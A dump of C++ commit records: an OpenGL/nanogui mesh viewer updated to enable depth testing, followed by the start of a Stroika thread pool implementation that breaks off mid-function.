1.0f);\n Eigen::Vector3f cameraLocal = Eigen::Vector3f(civ.head(3));\n Eigen::Vector3f baseColor(0.4f, 0.4f, 0.4f);\n Eigen::Vector3f specularColor(1.0f, 1.0f, 1.0f);\n\n\n shaderMesh.bind();\n\n \/\/ vertex shader\n shaderMesh.uploadIndices(mesh.F);\n shaderMesh.uploadAttrib(\"position\", mesh.V);\n shaderMesh.uploadAttrib(\"normal\", mesh.N);\n\n \/\/ geometry shader\n shaderMesh.setUniform(\"model\", modelMatrix);\n shaderMesh.setUniform(\"view\", viewMatrix);\n shaderMesh.setUniform(\"proj\", projMatrix);\n shaderMesh.setUniform(\"light_position\", lightPosition);\n shaderMesh.setUniform(\"camera_local\", cameraLocal);\n\n \/\/ fragment shader\n shaderMesh.setUniform(\"show_uvs\", 0.0f);\n shaderMesh.setUniform(\"base_color\", baseColor);\n shaderMesh.setUniform(\"specular_color\", specularColor);\n \/\/ shaderMesh.setUniform(\"fixed_color\", Eigen::Vector4f(1.0, 1.0, 1.0, 1.0));\n\n\n glEnable(GL_POLYGON_OFFSET_FILL);\n glPolygonOffset(1.0, 1.0);\n shaderMesh.drawIndexed(GL_TRIANGLES, 0, mesh.F.cols());\n glDisable(GL_POLYGON_OFFSET_FILL);\n glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);\n\n\n glEnable(GL_LINE_SMOOTH);\n shaderWireframe.bind();\n shaderWireframe.uploadAttrib(\"position\", mesh.V);\n shaderWireframe.setUniform(\"color\", baseColor);\n shaderWireframe.setUniform(\"mvp\", Eigen::Matrix4f(projMatrix * viewMatrix * modelMatrix));\n shaderWireframe.drawIndexed(GL_LINES, 0, mesh.F.cols());\n\n\n glfwPostEmptyEvent();\n\n \/\/ Send texture paramters\n \/*\n if (wireframe) {\n glEnable(GL_LINE_SMOOTH);\n glLineWidth(lineWidth);\n glUniform4f(fixedColor, lineColor[0], lineColor[1],\n lineColor[2], 1.0f);\n opengl.drawMesh(false);\n glUniform4f(fixedColor, 0.0f, 0.0f, 0.0f, 0.0f);\n } else {\n glUniform1f(textureFactor, 1.0f);\n opengl.drawMesh(true);\n glUniform1f(textureFactor, 0.0f);\n }\n *\/\n\n screen->drawContents();\n screen->drawWidgets();\n\n glfwSwapBuffers(window);\n }\n\n glfwTerminate();\n}\n\nvoid Viewer::debug() {\n GLShader mShader;\n mShader.init(\n \"a_simple_shader\",\n\n \"#version 330\\n\"\n \"uniform mat4 modelViewProj;\\n\"\n \"in vec3 position;\\n\"\n \"void main() {\\n\"\n \" gl_Position = modelViewProj * vec4(position, 1.0);\\n\"\n \"}\",\n\n \"#version 330\\n\"\n \"out vec4 color;\\n\"\n \"uniform float intensity;\\n\"\n \"void main() {\\n\"\n \" color = vec4(vec3(intensity), 1.0);\\n\"\n \"}\"\n );\n\n Eigen::MatrixXi indices(3, 2);\n indices.col(0) << 0, 1, 2;\n indices.col(1) << 2, 3, 0;\n\n Eigen::MatrixXf positions(3, 4);\n positions.col(0) << -1, -1, 0;\n positions.col(1) << 1, -1, 0;\n positions.col(2) << 1, 1, 0;\n positions.col(3) << -1, 1, 0;\n\n mShader.bind();\n mShader.uploadIndices(indices);\n mShader.uploadAttrib(\"position\", positions);\n mShader.setUniform(\"intensity\", 0.5f);\n\n Eigen::Matrix4f mvp;\n mvp.setIdentity();\n mvp.topLeftCorner<3,3>() = Eigen::Matrix3f(Eigen::AngleAxisf((float) glfwGetTime(), Eigen::Vector3f::UnitZ())) * 0.25f;\n mvp.row(0) *= (float) width \/ (float) height;\n mShader.setUniform(\"modelViewProj\", mvp);\n mShader.drawIndexed(GL_TRIANGLES, 0, 2);\n\n}\n\n\n\nvoid Viewer::setCallbacks() {\n glfwSetKeyCallback(window, [](GLFWwindow *, int key, int scancode, int action, int mods) {\n screen->keyCallbackEvent(key, scancode, action, mods);\n });\n\n glfwSetCharCallback(window, [](GLFWwindow *, unsigned int codepoint) {\n screen->charCallbackEvent(codepoint);\n });\n\n glfwSetDropCallback(window, [](GLFWwindow *, int count, const char **filenames) {\n screen->dropCallbackEvent(count, filenames);\n });\n\n glfwSetMouseButtonCallback(window, [](GLFWwindow *, int button, int action, int modifiers) {\n screen->mouseButtonCallbackEvent(button, action, modifiers);\n\n if (action == GLFW_PRESS) {\n mouseDown = true;\n Eigen::Vector3f coord = control.project(center, modelMatrix, projMatrix, viewMatrix, viewport);\n\n mouseDownX = currentMouseX;\n mouseDownY = currentMouseY;\n mouseDownZ = coord[2];\n mouseDownRotation = arcballQuat.normalized();\n } else {\n mouseDown = false;\n }\n \/\/ mouseMode = \"ROTATION\";\n\n });\n\n glfwSetCursorPosCallback(window, [](GLFWwindow *, double x, double y) {\n screen->cursorPosCallbackEvent(x, y);\n\n float mouseX = x;\n float mouseY = y;\n\n currentMouseX = x;\n currentMouseY = y;\n\n double speed = 2.0;\n if (mouseDown) {\n std::cout << Eigen::Vector4f(mouseDownX, mouseDownY, mouseX, mouseY) << std::endl;\n Eigen::Quaternionf diffRotation = control.motion(width, height, mouseX, mouseY, mouseDownX, mouseDownY, speed);\n arcballQuat = diffRotation * mouseDownRotation;\n }\n\n });\n\n glfwSetScrollCallback(window, [](GLFWwindow *, double x, double y) {\n screen->scrollCallbackEvent(x, y);\n\n float deltaY = y;\n std::cout << deltaY << std::endl;\n if (deltaY != 0) {\n float mult = (1.0 + ((deltaY>0) ? 1.0 : -1.0) * 0.05);\n const float minZoom = 0.1f;\n cameraZoom = (cameraZoom * mult > minZoom ? cameraZoom * mult : minZoom);\n }\n\n });\n\n glfwSetFramebufferSizeCallback(window, [](GLFWwindow *, int width, int height) {\n screen->resizeCallbackEvent(width, height);\n });\n\n}\n\n\n\n<commit_msg>Add depth test<commit_after>\n#include \"viewer.h\"\n\nnanogui::Screen *screen = nullptr;\nControl control;\nLoader loader;\n\nfloat width = 800;\nfloat height = 800;\n\nbool mouseDown = false;\nbool orthographic = false;\nbool wireframe = false;\nfloat cameraViewAngle = 45.0;\nfloat cameraNear = 1.0;\nfloat cameraFar = 100.0;\nfloat lineWidth = 0.5f;\nfloat cameraZoom = 3.0f;\nfloat modelZoom = 3.0f;\n\nEigen::Matrix4f viewMatrix = Eigen::Matrix4f::Identity();\nEigen::Matrix4f projMatrix = Eigen::Matrix4f::Identity();\nEigen::Matrix4f modelMatrix = Eigen::Matrix4f::Identity();\nEigen::Quaternionf arcballQuat = Eigen::Quaternionf::Identity();\n\nEigen::Vector3f center(0, 1, 0);\nEigen::Vector4f lineColor(1.0f, 1.0f, 1.0f, 1.0f);\nEigen::Vector3f cameraEye(0, 0, 5);\nEigen::Vector3f cameraCenter(0, 1, 0);\nEigen::Vector3f cameraUp(0, 1, 0);\nEigen::Vector3f modelTranslation(0, 0, 0);\nEigen::Vector4f viewport(0, 0, 800, 800);\n\n\nfloat currentMouseX;\nfloat currentMouseY;\nfloat mouseDownX;\nfloat mouseDownY;\nfloat mouseDownZ;\nEigen::Quaternionf mouseDownRotation;\n\n\n\nvoid Viewer::init() {\n\n glfwInit();\n glfwSetTime(0);\n\n glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\n glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\n glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);\n glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\n\n glfwWindowHint(GLFW_SAMPLES, 0);\n glfwWindowHint(GLFW_RED_BITS, 8);\n glfwWindowHint(GLFW_GREEN_BITS, 8);\n glfwWindowHint(GLFW_BLUE_BITS, 8);\n glfwWindowHint(GLFW_ALPHA_BITS, 8);\n glfwWindowHint(GLFW_STENCIL_BITS, 8);\n glfwWindowHint(GLFW_DEPTH_BITS, 24);\n glfwWindowHint(GLFW_RESIZABLE, GL_TRUE);\n\n \/\/ glEnable(GL_DEPTH_TEST);\n \/\/ glEnable(GL_LIGHTING);\n\n window = glfwCreateWindow(width, height, \"CAD app\", nullptr, nullptr);\n glfwMakeContextCurrent(window);\n\n glViewport(0, 0, width, height);\n glfwSwapInterval(0);\n glfwSwapBuffers(window);\n\n int windowWidth, windowHeight;\n glfwGetWindowSize(window, &windowWidth, &windowHeight);\n\n screen = new nanogui::Screen();\n screen->initialize(window, true);\n\n nanogui::FormHelper *gui = new nanogui::FormHelper(screen);\n nanogui::ref<nanogui::Window> guiWindow = gui->addWindow(Eigen::Vector2i(10, 10), \"Main Menu\");\n gui->addGroup(\"Workspace\");\n gui->addButton(\"Load\", [&]() { this->load(); });\n \/\/ gui->addButton(\"Save\", [&]() { this->save(); });\n gui->addVariable(\"Wireframe\", wireframe);\n\n screen->setVisible(true);\n screen->performLayout();\n}\n\nvoid Viewer::load() {\n std::string filename = nanogui::file_dialog({\n {\"obj\", \"Wavefront OBJ\"}\n }, false);\n std::cout << filename << std::endl;\n\n if (filename.empty()) {\n return;\n }\n\n Eigen::MatrixXf V;\n Eigen::MatrixXi F;\n loader.loadObj(filename, V, F);\n mesh.set(V, F);\n \/\/ this->mesh.setUv(vertexUvs, faceUvs);\n\n \/\/ core.align_camera_center(data.V,data.F);\n}\n\nvoid Viewer::save() {\n std::cout << \"save\" << std::endl;\n}\n\n\nvoid Viewer::computeCameraMatries() {\n\n modelMatrix = Eigen::Matrix4f::Identity();\n viewMatrix = Eigen::Matrix4f::Identity();\n projMatrix = Eigen::Matrix4f::Identity();\n\n \/\/ Set view parameters\n viewMatrix = control.lookAt(cameraEye, cameraCenter, cameraUp);\n\n \/\/ Set projection paramters\n if (orthographic) {\n float length = (cameraEye - cameraCenter).norm();\n float h = tan(cameraViewAngle\/360.0 * M_PI) * (length);\n float left = -h * width \/ height;\n float right = h * width \/ height;\n float bottom = -h;\n float top = h;\n projMatrix = control.ortho(left, right, bottom, top, cameraNear, cameraFar);\n } else {\n float fH = tan(cameraViewAngle \/ 360.0 * M_PI) * cameraNear;\n float fW = fH * width \/ height;\n float left = -fW;\n float right = fW;\n float bottom = -fH;\n float top = fH;\n projMatrix = control.frustum(left, right, bottom, top, cameraNear, cameraFar);\n }\n\n \/\/ Set model parameters\n modelMatrix = control.quatToMatrix(arcballQuat);\n modelMatrix.topLeftCorner(3,3) *= cameraZoom;\n modelMatrix.topLeftCorner(3,3) *= modelZoom;\n modelMatrix.col(3).head(3) += modelMatrix.topLeftCorner(3,3)*modelTranslation;\n\n}\n\nvoid Viewer::launch() {\n init();\n setCallbacks();\n\n std::cout << \"Compiling shaders .. \";\n std::cout.flush();\n shaderMesh.initFromFiles(\"shader_mesh\",\n \"..\/src\/shader_mesh.vert\",\n \"..\/src\/shader_mesh.frag\",\n \"..\/src\/shader_mesh.geom\");\n shaderWireframe.initFromFiles(\"shader_wireframe\",\n \"..\/src\/shader_wireframe.vert\",\n \"..\/src\/shader_wireframe.frag\");\n std::cout << \"done.\" << std::endl;\n\n std::string filename = \"..\/bunny.obj\";\n Eigen::MatrixXf V;\n Eigen::MatrixXi F;\n loader.loadObj(filename, V, F);\n mesh.set(V, F);\n\n while (glfwWindowShouldClose(window) == 0 && glfwGetKey(window, GLFW_KEY_ESCAPE ) != GLFW_PRESS) {\n\n glfwPollEvents();\n glClearColor(0.2f, 0.2f, 0.2f, 1.0f);\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n float ratio;\n int frameWidth, frameHeight;\n glfwGetFramebufferSize(window, &frameWidth, &frameHeight);\n ratio = frameWidth \/ (float)frameHeight;\n glViewport(0, 0, frameWidth, frameHeight);\n\n \/\/ Set transformaition parameters\n computeCameraMatries();\n\n\n glDepthFunc(GL_LEQUAL);\n glEnable(GL_DEPTH_TEST);\n glLineWidth(1.0f);\n\n Eigen::Vector3f lightPosition(0.0f, 0.30f, 5.0f);\n Eigen::Vector4f civ = (viewMatrix * modelMatrix).inverse() * Eigen::Vector4f(0.0f, 0.0f, 0.0f, 1.0f);\n Eigen::Vector3f cameraLocal = Eigen::Vector3f(civ.head(3));\n Eigen::Vector3f baseColor(0.4f, 0.4f, 0.4f);\n Eigen::Vector3f specularColor(1.0f, 1.0f, 1.0f);\n\n shaderMesh.bind();\n\n \/\/ vertex shader\n shaderMesh.uploadIndices(mesh.F);\n shaderMesh.uploadAttrib(\"position\", mesh.V);\n shaderMesh.uploadAttrib(\"normal\", mesh.N);\n\n \/\/ geometry shader\n shaderMesh.setUniform(\"model\", modelMatrix);\n shaderMesh.setUniform(\"view\", viewMatrix);\n shaderMesh.setUniform(\"proj\", projMatrix);\n shaderMesh.setUniform(\"light_position\", lightPosition);\n shaderMesh.setUniform(\"camera_local\", cameraLocal);\n\n \/\/ fragment shader\n shaderMesh.setUniform(\"show_uvs\", 0.0f);\n shaderMesh.setUniform(\"base_color\", baseColor);\n shaderMesh.setUniform(\"specular_color\", specularColor);\n \/\/ shaderMesh.setUniform(\"fixed_color\", Eigen::Vector4f(1.0, 1.0, 1.0, 1.0));\n\n\n glEnable(GL_POLYGON_OFFSET_FILL);\n glPolygonOffset(1.0, 1.0);\n shaderMesh.drawIndexed(GL_TRIANGLES, 0, mesh.F.cols());\n glDisable(GL_POLYGON_OFFSET_FILL);\n glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);\n\n\n glEnable(GL_LINE_SMOOTH);\n shaderWireframe.bind();\n shaderWireframe.uploadAttrib(\"position\", mesh.V);\n shaderWireframe.setUniform(\"color\", baseColor);\n shaderWireframe.setUniform(\"mvp\", Eigen::Matrix4f(projMatrix * viewMatrix * modelMatrix));\n shaderWireframe.drawIndexed(GL_LINES, 0, mesh.F.cols());\n\n\n glfwPostEmptyEvent();\n\n \/\/ Send texture paramters\n \/*\n if (wireframe) {\n glEnable(GL_LINE_SMOOTH);\n glLineWidth(lineWidth);\n glUniform4f(fixedColor, lineColor[0], lineColor[1],\n lineColor[2], 1.0f);\n opengl.drawMesh(false);\n glUniform4f(fixedColor, 0.0f, 0.0f, 0.0f, 0.0f);\n } else {\n glUniform1f(textureFactor, 1.0f);\n opengl.drawMesh(true);\n glUniform1f(textureFactor, 0.0f);\n }\n *\/\n\n screen->drawContents();\n screen->drawWidgets();\n\n glfwSwapBuffers(window);\n }\n\n glfwTerminate();\n}\n\nvoid Viewer::debug() {\n GLShader mShader;\n mShader.init(\n \"a_simple_shader\",\n\n \"#version 330\\n\"\n \"uniform mat4 modelViewProj;\\n\"\n \"in vec3 position;\\n\"\n \"void main() {\\n\"\n \" gl_Position = modelViewProj * vec4(position, 1.0);\\n\"\n \"}\",\n\n \"#version 330\\n\"\n \"out vec4 color;\\n\"\n \"uniform float intensity;\\n\"\n \"void main() {\\n\"\n \" color = vec4(vec3(intensity), 1.0);\\n\"\n \"}\"\n );\n\n Eigen::MatrixXi indices(3, 2);\n indices.col(0) << 0, 1, 2;\n indices.col(1) << 2, 3, 0;\n\n Eigen::MatrixXf positions(3, 4);\n positions.col(0) << -1, -1, 0;\n positions.col(1) << 1, -1, 0;\n positions.col(2) << 1, 1, 0;\n positions.col(3) << -1, 1, 0;\n\n mShader.bind();\n mShader.uploadIndices(indices);\n mShader.uploadAttrib(\"position\", positions);\n mShader.setUniform(\"intensity\", 0.5f);\n\n Eigen::Matrix4f mvp;\n mvp.setIdentity();\n mvp.topLeftCorner<3,3>() = Eigen::Matrix3f(Eigen::AngleAxisf((float) glfwGetTime(), Eigen::Vector3f::UnitZ())) * 0.25f;\n mvp.row(0) *= (float) width \/ (float) height;\n mShader.setUniform(\"modelViewProj\", mvp);\n mShader.drawIndexed(GL_TRIANGLES, 0, 2);\n\n}\n\n\n\nvoid Viewer::setCallbacks() {\n glfwSetKeyCallback(window, [](GLFWwindow *, int key, int scancode, int action, int mods) {\n screen->keyCallbackEvent(key, scancode, action, mods);\n });\n\n glfwSetCharCallback(window, [](GLFWwindow *, unsigned int codepoint) {\n screen->charCallbackEvent(codepoint);\n });\n\n glfwSetDropCallback(window, [](GLFWwindow *, int count, const char **filenames) {\n screen->dropCallbackEvent(count, filenames);\n });\n\n glfwSetMouseButtonCallback(window, [](GLFWwindow *, int button, int action, int modifiers) {\n screen->mouseButtonCallbackEvent(button, action, modifiers);\n\n if (action == GLFW_PRESS) {\n mouseDown = true;\n Eigen::Vector3f coord = control.project(center, modelMatrix, projMatrix, viewMatrix, viewport);\n\n mouseDownX = currentMouseX;\n mouseDownY = currentMouseY;\n mouseDownZ = coord[2];\n mouseDownRotation = arcballQuat.normalized();\n } else {\n mouseDown = false;\n }\n \/\/ mouseMode = \"ROTATION\";\n\n });\n\n glfwSetCursorPosCallback(window, [](GLFWwindow *, double x, double y) {\n screen->cursorPosCallbackEvent(x, y);\n\n float mouseX = x;\n float mouseY = y;\n\n currentMouseX = x;\n currentMouseY = y;\n\n double speed = 2.0;\n if (mouseDown) {\n std::cout << Eigen::Vector4f(mouseDownX, mouseDownY, mouseX, mouseY) << std::endl;\n Eigen::Quaternionf diffRotation = control.motion(width, height, mouseX, mouseY, mouseDownX, mouseDownY, speed);\n arcballQuat = diffRotation * mouseDownRotation;\n }\n\n });\n\n glfwSetScrollCallback(window, [](GLFWwindow *, double x, double y) {\n screen->scrollCallbackEvent(x, y);\n\n float deltaY = y;\n std::cout << deltaY << std::endl;\n if (deltaY != 0) {\n float mult = (1.0 + ((deltaY>0) ? 1.0 : -1.0) * 0.05);\n const float minZoom = 0.1f;\n cameraZoom = (cameraZoom * mult > minZoom ? cameraZoom * mult : minZoom);\n }\n\n });\n\n glfwSetFramebufferSizeCallback(window, [](GLFWwindow *, int width, int height) {\n screen->resizeCallbackEvent(width, height);\n });\n\n}\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2011. All rights reserved\n *\/\n#include\t\"..\/StroikaPreComp.h\"\n\n#include\t\"Sleep.h\"\n\n#include\t\"ThreadPool.h\"\n\n\n\nusing\tnamespace\tStroika::Foundation;\nusing\tnamespace\tStroika::Foundation::Execution;\n\n\n\n\nclass\tThreadPool::MyRunnable_ : public IRunnable {\n\tpublic:\n\t\tMyRunnable_ (ThreadPool& threadPool)\n\t\t\t: fThreadPool_ (threadPool)\n\t\t\t, fCurTask_ ()\n\t\t\t, fNextTask_ ()\n\t\t\t, fCurTaskUpdateCritSection_ ()\n\t\t\t{\n\t\t\t}\n\n\tpublic:\n\t\tThreadPool::TaskType\tGetCurrentTask () const\n\t\t\t{\n\t\t\t\tAutoCriticalSection critSect (fCurTaskUpdateCritSection_);\n\t\t\t\t\/\/ THIS CODE IS TOO SUBTLE - BUT BECAUSE OF HOW THIS IS CALLED - fNextTask_ will NEVER be in the middle of being updated during this code - so this test is OK\n\t\t\t\t\/\/ Caller is never in the middle of doing a WaitForNextTask - and because we have this lock - we aren't updateing fCurTask_ or fNextTask_ either\n\t\t\t\tAssert (fCurTask_.IsNull () or fNextTask_.IsNull ());\t\/\/ one or both must be null\n\t\t\t\treturn fCurTask_.IsNull ()? fNextTask_ : fCurTask_;\n\t\t\t}\n\n\tpublic:\n\t\tvirtual\tvoid\tRun () override\n\t\t\t{\n\t\t\t\t\/\/ For NOW - allow ThreadAbort to just kill this thread. In the future - we may want to implement some sort of restartability\n\n\t\t\t\t\/\/ Keep grabbing new tasks, and running them\n\t\t\t\twhile (true) {\n\t\t\t\t\t{\n\t\t\t\t\t\tfThreadPool_.WaitForNextTask_ (&fNextTask_);\t\t\t\/\/ This will block INDEFINITELY until ThreadAbort throws out or we have a new task to run\n\t\t\t\t\t\tAutoCriticalSection critSect (fCurTaskUpdateCritSection_);\n\t\t\t\t\t\tAssert (not fNextTask_.IsNull ());\n\t\t\t\t\t\tAssert (fCurTask_.IsNull ());\n\t\t\t\t\t\tfCurTask_ = fNextTask_;\n\t\t\t\t\t\tfNextTask_.clear ();\n\t\t\t\t\t\tAssert (not fCurTask_.IsNull ());\n\t\t\t\t\t\tAssert (fNextTask_.IsNull ());\n\t\t\t\t\t}\n\t\t\t\t\ttry {\n\t\t\t\t\t\tfCurTask_->Run ();\n\t\t\t\t\t\tfCurTask_.clear ();\n\t\t\t\t\t}\n\t\t\t\t\tcatch (const ThreadAbortException&) {\n\t\t\t\t\t\tAutoCriticalSection critSect (fCurTaskUpdateCritSection_);\n\t\t\t\t\t\tfCurTask_.clear ();\n\t\t\t\t\t\tthrow;\t\/\/ cancel this thread\n\t\t\t\t\t}\n\t\t\t\t\tcatch (...) {\n\t\t\t\t\t\tAutoCriticalSection critSect (fCurTaskUpdateCritSection_);\n\t\t\t\t\t\tfCurTask_.clear ();\n\t\t\t\t\t\t\/\/ other excpetions WARNING WITH DEBUG MESSAGE - but otehrwise - EAT\/IGNORE\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\tprivate:\n\t\tThreadPool&\t\t\t\t\tfThreadPool_;\n\t\tmutable CriticalSection\t\tfCurTaskUpdateCritSection_;\n\t\tThreadPool::TaskType\t\tfCurTask_;\n\t\tThreadPool::TaskType\t\tfNextTask_;\n\n\tpublic:\n\t\tDECLARE_USE_BLOCK_ALLOCATION(MyRunnable_);\n};\n\n\n\n\n\n\n\/*\n ********************************************************************************\n ********************************* Execution::ThreadPool ************************\n ********************************************************************************\n *\/\nThreadPool::ThreadPool (unsigned int nThreads)\n\t: fCriticalSection_ ()\n\t, fAborted_ (false)\n\t, fThreads_ ()\n\t, fTasks_ ()\n\t, fTasksAdded_ ()\n{\n\tSetPoolSize (nThreads);\n}\n\nunsigned int\tThreadPool::GetPoolSize () const\n{\n\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\treturn fThreads_.size ();\n}\n\nvoid\tThreadPool::SetPoolSize (unsigned int poolSize)\n{\n\tRequire (not fAborted_);\n\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\tfThreads_.reserve (poolSize);\n\twhile (poolSize > fThreads_.size ()) {\n\t\tfThreads_.push_back (mkThread_ ());\n\t}\n\n\tif (poolSize < fThreads_.size ()) {\n\t\tAssertNotImplemented ();\n\n\t\t\/\/ MUST STOP THREADS and WAIT FOR THEM TO BE DONE (OR STORE THEM SOMEPLACE ELSE - NO - I THINK MUST ABORTANDWAIT(). Unsure.\n\t\t\/\/ For now - just assert!!!\n\n\t\t\/\/ TODO:\n\t\t\/\/\t\t(1)\tHOIRRIBLE - NOW\n\t\tfThreads_.resize (poolSize);\t\/\/ remove some off the end. OK if they are running?\n\t}\n\t\n}\n\nvoid\tThreadPool::AddTask (const TaskType& task)\n{\n\tRequire (not fAborted_);\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfTasks_.push_back (task);\n\t}\n\n\t\/\/ Notify any waiting threads to wakeup and claim the next task\n\tfTasksAdded_.Set ();\n}\n\nvoid\tThreadPool::AbortTask (const TaskType& task, Time::DurationSecondsType timeout)\n{\n\t{\n\t\t\/\/ First see if its in the Q\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (list<TaskType>::iterator i = fTasks_.begin (); i != fTasks_.end (); ++i) {\n\t\t\tif (*i == task) {\n\t\t\t\tfTasks_.erase (i);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\t\/\/ If we got here - its NOT in the task Q, so maybe its already running.\n\t\/\/\n\t\/\/\n\n\t\/\/ TODO:\n\t\/\/\t\tWe walk the list of existing threads and ask each one if its (indirected - running task) is the given one and abort that task.\n\t\/\/\t\tBut that requires we can RESTART an ABORTED thread (or that we remove it from the list - maybe thats better). THat COULD be OK\n\t\/\/\t\tactually since it involves on API changes and makes sense. The only slight issue is a peformace one but probably for soemthing\n\t\/\/\t\tquite rare.\n\t\/\/\n\t\/\/\t\tAnyhow SB OK for now to just not allow aborting a task which has already started....\n\tThread\tthread2Kill;\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (vector<Thread>::iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\tct\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (task == ct) {\n\t\t\t\tthread2Kill\t=\t*i;\n\t\t\t\t*i = mkThread_ ();\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tif (not thread2Kill.GetStatus () != Thread::eNull) {\n\t\tthread2Kill.AbortAndWaitForDone (timeout);\n\t}\n}\n\nbool\tThreadPool::IsPresent (const TaskType& task) const\n{\n\t{\n\t\t\/\/ First see if its in the Q\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (list<TaskType>::const_iterator i = fTasks_.begin (); i != fTasks_.end (); ++i) {\n\t\t\tif (*i == task) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn IsRunning (task);\n}\n\nbool\tThreadPool::IsRunning (const TaskType& task) const\n{\n\tRequire (not task.IsNull ());\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\trTask\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (task == rTask) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n}\n\nvoid\tThreadPool::WaitForTask (const TaskType& task, Time::DurationSecondsType timeout) const\n{\n\t\/\/ Inefficient \/ VERY SLOPPY impl\n\tTime::DurationSecondsType\tendAt\t=\ttimeout + Time::GetTickCount ();\n\twhile (true) {\n\t\tif (not IsPresent (task)) {\n\t\t\treturn;\n\t\t}\n\t\tTime::DurationSecondsType\tremaining\t=\ttimeout - Time::GetTickCount ();\n\t\tif (remaining <= 0.0) {\n\t\t\tDoThrow (WaitTimedOutException ());\n\t\t}\n\t\tExecution::Sleep (min (remaining, 1.0));\n\t}\n}\n\nvector<ThreadPool::TaskType>\tThreadPool::GetTasks () const\n{\n\tvector<ThreadPool::TaskType>\tresult;\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tresult.reserve (fTasks_.size () + fThreads_.size ());\n\t\tresult.insert (result.begin (), fTasks_.begin (), fTasks_.end ());\t\t\t\/\/ copy pending tasks\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\ttask\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (not task.IsNull ()) {\n\t\t\t\tresult.push_back (task);\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}\n\nvector<ThreadPool::TaskType>\tThreadPool::GetRunningTasks () const\n{\n\tvector<ThreadPool::TaskType>\tresult;\n\t{\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tresult.reserve (fThreads_.size ());\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\ttask\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (not task.IsNull ()) {\n\t\t\t\tresult.push_back (task);\n\t\t\t}\n\t\t}\n\t}\n\treturn result;\n}\n\nsize_t\tThreadPool::GetTasksCount () const\n{\n\tsize_t\tcount\t=\t0;\n\t{\n\t\t\/\/ First see if its in the Q\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tcount += fTasks_.size ();\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\tSharedPtr<IRunnable>\ttr\t=\ti->GetRunnable ();\n\t\t\tAssert (dynamic_cast<MyRunnable_*> (tr.get ()) != nullptr);\n\t\t\tSharedPtr<IRunnable>\ttask\t=\tdynamic_cast<MyRunnable_&> (*tr.get ()).GetCurrentTask ();\n\t\t\tif (not task.IsNull ()) {\n\t\t\t\tcount++;\n\t\t\t}\n\t\t}\n\t}\n\treturn count;\n}\n\nvoid\tThreadPool::WaitForDone (Time::DurationSecondsType timeout) const\n{\n\tRequire (fAborted_);\n\t{\n\t\tTime::DurationSecondsType\tendAt\t=\ttimeout + Time::GetTickCount ();\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfor (vector<Thread>::const_iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\ti->WaitForDone (timeout - Time::GetTickCount ());\n\t\t}\n\t}\n}\n\nvoid\tThreadPool::Abort ()\n{\n\tfAborted_ = true;\n\t{\n\t\t\/\/ First see if its in the Q\n\t\tAutoCriticalSection\tcritSection (fCriticalSection_);\n\t\tfTasks_.clear ();\n\t\tfor (vector<Thread>::iterator i = fThreads_.begin (); i != fThreads_.end (); ++i) {\n\t\t\ti->Abort ();\n\t\t}\n\t}\n}\n\nvoid\tThreadPool::AbortAndWaitForDone (Time::DurationSecondsType timeout)\n{\n\tAbort ();\n\tWaitForDone (timeout);\n}\n\n\/\/ THIS is called NOT from 'this' - but from the context of an OWNED thread of the pool\nvoid\tThreadPool::WaitForNextTask_ (TaskType* 